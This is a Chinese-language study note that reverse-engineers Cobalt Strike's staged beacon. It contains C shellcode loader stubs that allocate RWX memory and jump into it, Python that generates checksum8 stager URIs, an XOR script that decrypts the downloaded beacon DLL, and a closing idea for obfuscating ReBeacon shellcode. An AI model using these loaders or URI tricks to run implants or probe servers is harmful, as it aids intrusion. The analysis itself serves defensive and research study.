CobaltStrike通信学习笔记
背景
起源于一个问题:CS怎么用ReBeacon打包成的EXE/DLL?
- stageless 表示把所有功能全部打包到一个文件里面
- staged 小片段的shellcode拉一个beacon.dll(
小马拉大马),其中ReBeacon就是beacon.dll的实现
Staged Shellcode工作流程
第一阶段
很常规的生成一个shellcode,写一个简单的程序加载然后调试:
方式1
#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
int main() {
__asm {
mov ecx, offset buf
jmp ecx
}
}
方式2
#include<stdio.h>
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, buf, sizeof(buf));
((void(*)())address)();
return 0;
}
方式3
void start2nd()
{
HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);
((void(*)())buffer)();
}
使用x64dbg调试文件,首先到入口点:
跟进call:
其中74656E696E6977是以小端存储的wininet的ascii:
这种API Hash算法叫ROR13,因为算法用到了0xd(13)这个值,这种算法在MSF和CS都有着广泛的使用。接着走到call rbp的操作,通过x64dbg右键点击在内存窗口中转到,然后以汇编的形式显示内存,可以看到是GetProcAddress原理实现那部分的功能,通过定位TEB和PEB来定位需要函数的地址。
第二阶段
整个shellcode走完之后,会从CS下载一个文件,这个文件首先会进行自解密,解密出来之后还原未一个修补过的PE文件:
解密刚开始文件大小是40E00=265728,在跳出循环的下一个指令F4,解密完成,然后开始执行rax处的shellcode,这里是把一个PE文件当作了shellcode来执行:
使用Scylla导出PE文件,然后PE查看器可以看到一个修补过的反射DLL:
细节
第一次调试完上面的流程其实还是懵逼的状态,再次回到开头的问题:
- CS怎么用ReBeacon打包成的EXE/DLL?
- beacon.dll怎么转换成第二阶段的payload
第二阶段的算法
第二阶段下载的payload采用了一种CheckSum8
的算法,实现如下:
#conding: utf-8
def generate_checksum(input):
trial = ""
total = 0
while total != input:
total = 0
trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789")
for i in range(4))
for i in range(4):
total = (total + ord(trial[i:i+1])) % 256
return trial
def calculate_input_from_checksum(strings):
total = 0
for char in strings:
total = (total + ord(char)) % 256
return total
if __name__ == "__main__":
print(generate_checksum(92)) # x86
print(generate_checksum(93)) # x64
print(calculate_input_from_checksum("5rSd"))
很多网络测绘平台都会针对这种算法获取cs的服务端配置,比如你在VPS设置了https的监听,在前面用CDN域前置或者CD的worker转发,如果不对监听端口做防护,那么就可以根据这个算法dump出服务端的配置。
网上流行的服务有这么两种:
- 固定URI,访问某个URI的时候才返回
- 修改CheckSum8算法
实际下载一个payload,结构如下:
以上面的数据为例子,PE头加密之后的hex是23 10
,XOR的key是6E 4A C7 E3
,解密如下:
整体的解密脚本:
import struct
import sys
beacon = "beacon_x64.bin"
def xor(a, b):
return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]])
with open(beacon, "rb") as f:
data = f.read()
ba = 0x3f
key = data[ba:ba+4]
print("Key : {}".format(key.hex()))
size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0]
print(type(data[ba+4:ba+8].hex()))
print("Size : {}".format(size))
res = bytearray()
i = ba+8
while i < (len(data) - ba - 8):
d = data[i:i+4]
res += xor(d, key)
key = d
i += 4
with open("a.out", "wb+") as f:
f.write(res)
ba的值就是解密功能shellcode的长度加1,解密出来的a.out就是服务端的修补beacon.dll,也就是wbglil师傅的Payload生成分析 - Cobalt Strike里面提到的:
整体来说Beacon修补了三个地方PE头,Malleable C2通信规则,Malleable C2后渗透规则
题外话
在分析到这一步的时候,我不知道这个payload的结构和解密的算法,修改了解密算法,从0x00~0xff尝试256次:
import struct
import sys
beacon = sys.argv[1]
def xor(a, b):
return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]])
with open(beacon, "rb") as f:
data = f.read()
for ba in range(1, 257):
key = data[ba:ba+4]
print("Key : {}".format(key))
size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0]
print("Size : {}".format(size))
res = bytearray()
i = ba+8
while i < (len(data) - ba - 8):
d = data[i:i+4]
res += xor(d, key)
key = d
i += 4
with open(str(ba)+".out", "wb+") as f:
f.write(res)
解密256个文件,查看是否存在PE文件,63转成hex就是3f:
结果
对于本文开始的问题就有一个答案了,CS在二阶段返回的内容是以shellcode来执行的,最简单的方式是把ReBeacon转成Shellcode再用sgn混淆一下,当客户端请求二阶段的时候直接返回:)
CS后续上线怎么处理呢,一个MITM的事情。